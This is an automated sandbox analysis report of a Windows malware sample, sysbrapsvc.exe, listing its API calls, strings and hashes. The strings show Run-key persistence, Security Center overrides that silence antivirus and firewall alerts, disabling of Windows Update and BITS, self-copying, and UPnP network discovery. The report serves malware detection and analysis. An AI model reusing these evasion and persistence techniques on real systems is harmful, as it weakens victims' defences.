Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 00cfd710f7060dc95603062a2d73b44d16099702ce370f8748f90436b9a2d440
Instruction ID: 49315f9b5d193dc364c5f28f0bcb7aa8bb44b0403a6660fc991bd28791f727bd
Opcode Fuzzy Hash: 00cfd710f7060dc95603062a2d73b44d16099702ce370f8748f90436b9a2d440
Instruction Fuzzy Hash: A901D6B65003009BCB209F61ECC4D9B7778AF48310708467AFC05AB396CA39E8508775

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: e468fb63f9ca5f1dd53f8d007d1a55cf1dbe40ebc69a0ff028c9d39c019d1df7
Instruction ID: e789c4acaeed7b47b7c3c4d69342d3bd95a049e3571e2ded942ca122a7fff21c
Opcode Fuzzy Hash: e468fb63f9ca5f1dd53f8d007d1a55cf1dbe40ebc69a0ff028c9d39c019d1df7
Instruction Fuzzy Hash: A5218175E04208FBDB04DFA4D885B9E7B74AF44309F10C4A9ED416B391D679AB80DB49

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,?,00401FD3,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,?,00401FD3,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D8C0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02260634), ref: 0040D8D9
CloseHandle.KERNEL32(02260638), ref: 0040D908
LeaveCriticalSection.KERNEL32(02260634), ref: 0040D917
DeleteCriticalSection.KERNEL32(02260634), ref: 0040D924

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: cbca7a221169012647a1f28369682e8a15b1de3ec01e61cab1fa519f4e6623a3
Instruction ID: 6abb592c5b2ce8a5c046663d5def4690e4bb0a573cdaefcdc4ae98697e0ceaa0
Opcode Fuzzy Hash: cbca7a221169012647a1f28369682e8a15b1de3ec01e61cab1fa519f4e6623a3
Instruction Fuzzy Hash: 4E1161B4D00208EBDB08DF94D984A9DB775FF44309F1485A9E806A7341C739EF94DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 5b7eeb46433a00e2792456c1da329b64645f09816065e024bdf8e8bd7b312279
Instruction ID: 487697b266744d2b5c3d358b1528705abebcded3db4b06867e0c0ac6ea0c4339
Opcode Fuzzy Hash: 5b7eeb46433a00e2792456c1da329b64645f09816065e024bdf8e8bd7b312279
Instruction Fuzzy Hash: 4A01F7792423049FC3209F26ED84A9B73F8AF45711F04443EE44693650DB39E401CB28

Function 0040DE30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E070: memset.NTDLL ref: 0040E098
Part of subcall function 0040E070: InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
Part of subcall function 0040E070: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
Part of subcall function 0040E070: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
Part of subcall function 0040E070: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
Part of subcall function 0040E070: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
Part of subcall function 0040E070: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
Part of subcall function 0040E070: InternetCloseHandle.WININET(00000000), ref: 0040E267

Part of subcall function 0040DF60: SysAllocString.OLEAUT32(00000000), ref: 0040DF8E
Part of subcall function 0040DF60: CoCreateInstance.OLE32(004128F0,00000000,00004401,004128E0,00000000), ref: 0040DFB6
Part of subcall function 0040DF60: SysFreeString.OLEAUT32(00000000), ref: 0040E051

SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

%S%S, xrefs: 0040DEF6

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 4daf623f2c144d5ce8ca4d058e5cf2d16a515a3d8099bd7f9f5853ed51e801f6
Instruction ID: c1d615742e0f1fe272601d31d467041fc69409a08f8fe5a36c80dfd154d40f90
Opcode Fuzzy Hash: 4daf623f2c144d5ce8ca4d058e5cf2d16a515a3d8099bd7f9f5853ed51e801f6
Instruction Fuzzy Hash: 5F414BB5E0020A9FCB04DFE4C885AEFB7B9BF48304F148569E505B7390D738AA45CBA5

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(0041A400), ref: 00405F30

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 4b006cdbe6058d68b82b42ad0cdc335d73043fce9a64b04b9801c300c0b4b7cf
Instruction ID: 7768dcd7b9dbcee261a05c0b48706a70a5e16e7133226d349280dc208485dc19
Opcode Fuzzy Hash: 4b006cdbe6058d68b82b42ad0cdc335d73043fce9a64b04b9801c300c0b4b7cf
Instruction Fuzzy Hash: 73216B70D04208ABDB04DF94D889BDEB771EB44304F14C1BAE84567281C3BDAA95CF9A

Analysis Process: sysbrapsvc.exePID: 768, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1470
Total number of Limit Nodes:	1

Executed Functions

Function 00407500 Relevance: 261.5, APIs: 99, Strings: 50, Instructions: 721
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040750E
CreateMutexA.KERNELBASE(00000000,00000000,b7x663937xa), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,0041AA40,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(0041AA40), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNEL32(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407963
NoAutoUpdate, xrefs: 00407A29
%s\%s, xrefs: 004076F5
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A5B
%temp%, xrefs: 004077CF
FirewallDisableNotify, xrefs: 00407D43
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
CheckedValue, xrefs: 00407BC6
sysbrapsvc.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407910
Start, xrefs: 004078E3
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
AntiSpywareOverride, xrefs: 00407D62
%s:Zone.Identifier, xrefs: 0040758E
FirewallOverride, xrefs: 00407D24
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407CFF
%s\tbtcmds.dat, xrefs: 00407E4B
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004078C2
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407B57
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079BA
UpdatesOverride, xrefs: 00407CB3
WindowsUpdate, xrefs: 00407A85
SOFTWARE\Microsoft\Security Center, xrefs: 00407BF3
UpdatesOverride, xrefs: 00407DBF
DisableWindowsUpdateAccess, xrefs: 00407931
b7x663937xa, xrefs: 00407514
%userprofile%, xrefs: 004075BC
%s\%s, xrefs: 0040761B
DisableWindowsUpdateAccess, xrefs: 004079DB
%windir%, xrefs: 00407604
FirewallDisableNotify, xrefs: 00407C37
NoAutoUpdate, xrefs: 00407B2A
AntiVirusDisableNotify, xrefs: 00407C94
%s\tbtnds.dat, xrefs: 00407E31
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
WindowsUpdate, xrefs: 0040798D
Windows Settings, xrefs: 0040769C, 00407776, 00407867
UpdatesDisableNotify, xrefs: 00407DDE
FirewallOverride, xrefs: 00407C18
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407A08
%s\%s, xrefs: 004077E6
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407BA5
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AB2
AntiVirusDisableNotify, xrefs: 00407DA0
AntiVirusOverride, xrefs: 00407C75
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407B09
AntiSpywareOverride, xrefs: 00407C56
AntiVirusOverride, xrefs: 00407D81
UpdatesDisableNotify, xrefs: 00407CD2
Start, xrefs: 00407B78

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$b7x663937xa$sysbrapsvc.exe
API String ID: 4172876685-2348032744
Opcode ID: f398f880ed0de63a829b11bb245c4d6d77eb93bd2f799ad59e9962a66de3a59f
Instruction ID: 03a0cce086b07e6777eb00571f2894b6de511c4d2cf633d1374b0a1cea72e181
Opcode Fuzzy Hash: f398f880ed0de63a829b11bb245c4d6d77eb93bd2f799ad59e9962a66de3a59f
Instruction Fuzzy Hash: D64256B1B80318BBE7209BA0DC4AFD93779AB48B11F10C5A5F305BA1D0DAF5A584CB5D

Non-executed Functions

Function 00406650 Relevance: 77.3, APIs: 34, Strings: 10, Instructions: 300
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(0041A428,?,00000000), ref: 004067EA

Strings

%s\%s, xrefs: 004066E3
%s\%s, xrefs: 00406AA4
%s\*, xrefs: 004066FC
%s\%s\%s, xrefs: 00406ACB
%s\%s, xrefs: 004066A3
%s\%s\VolMgrSvc.exe, xrefs: 004066C3
shell32.dll, xrefs: 0040681E
shell32.dll, xrefs: 00406836
%s\%s, xrefs: 00406A31
%s.lnk, xrefs: 00406683

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolMgrSvc.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2120662298-3454820331
Opcode ID: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction ID: c612be32194b3f0687db5988b06318d9a83eb4d95ba537684b9fbd0309d38362
Opcode Fuzzy Hash: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction Fuzzy Hash: 33D164B5900258ABCB20DF50DC54FEA77B8BB48304F00C5EAF20AA6191D7B99BD4CF59

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC4), ref: 00406571
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\*, xrefs: 00406529
%s\%s, xrefs: 004065BE
%s\%s, xrefs: 0040659E

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction ID: 53594aa6cee022007eb09e89ff8d3070c1334f86b1d3d86e8b3ef453570f0988
Opcode Fuzzy Hash: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction Fuzzy Hash: B2315BB5500218AFCB10DB60DC85FDA7778AB48701F40C5A5F609A3185DBB5DAD9CF58

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D5E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D5FE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D610: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634
Part of subcall function 0040D610: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D68F
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
Part of subcall function 0040D610: DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
Part of subcall function 0040D610: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: a09a2fb70ac58d7a455ce99dedba2fb0f2ccef32fdecf11c004df1e88a2033b1
Instruction ID: 3d527d3106709ffe12c11fbc149f9fb6bead9182873b01420bf0fd5d4f043c35
Opcode Fuzzy Hash: a09a2fb70ac58d7a455ce99dedba2fb0f2ccef32fdecf11c004df1e88a2033b1
Instruction Fuzzy Hash: C441B070640301BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA6D4E7F4E445C75A

Function 0040DBC0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
htons.WS2_32(0000076C), ref: 0040DC10
inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D

Part of subcall function 0040AF30: htons.WS2_32(00000050), ref: 0040AF5D
Part of subcall function 0040AF30: socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
Part of subcall function 0040AF30: connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
Part of subcall function 0040AF30: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DD40: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Part of subcall function 0040DD40: Sleep.KERNEL32(000003E8), ref: 0040DD9E
Part of subcall function 0040DD40: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
Part of subcall function 0040DD40: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
Part of subcall function 0040DD40: StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

239.255.255.250, xrefs: 0040DC1A

Memory Dump Source

